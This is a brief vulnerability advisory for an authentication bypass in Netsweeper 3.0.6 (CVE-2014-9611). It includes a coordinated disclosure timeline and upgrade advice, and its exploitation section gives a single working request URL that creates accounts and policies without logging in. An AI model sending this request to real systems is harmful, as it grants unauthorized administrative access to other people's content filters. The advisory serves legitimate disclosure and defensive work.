Netsweeper 3.0.6 - Authentication Bypass

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+ Netsweeper 3.0.6 - Authentication Bypass (Account and Policy Creation) +
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Affected Product: Netsweeper
Vendor Homepage	: www.netsweeper.com
Version 	: 3.0.6 (and probably other versions)
Discovered by	: Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
Patched      	: Yes
CVE		: CVE-2014-9611

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+ Product Description +
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Netsweeper is a software solution specialized in content filtering.

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+ Exploitation Details +
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An non-authenticated is able to provision new user accounts (and also create new policies under the same name as the newly created user accounts) 

URL Path: http:/netsweeper:8080/webadmin/nslam/index.php?username=secuid0&password=secuid0&ip=127.0.0.1&theme=Global%20Web%20Admin%20Theme&groupname=

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+ Solution +
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Upgrade to latest version.

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+ Disclosure Timeline +
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24-Nov-2014: Initial Communication
03-Dec-2014: Netsweeper responded
03-Dec-2014: Shared full details to replicate the issue
18-Dec-2014: Confirm fix on version 4.0.5
17-Jan-2015: CVE assigned CVE-2014-9611
11-Aug-2015: Public disclosure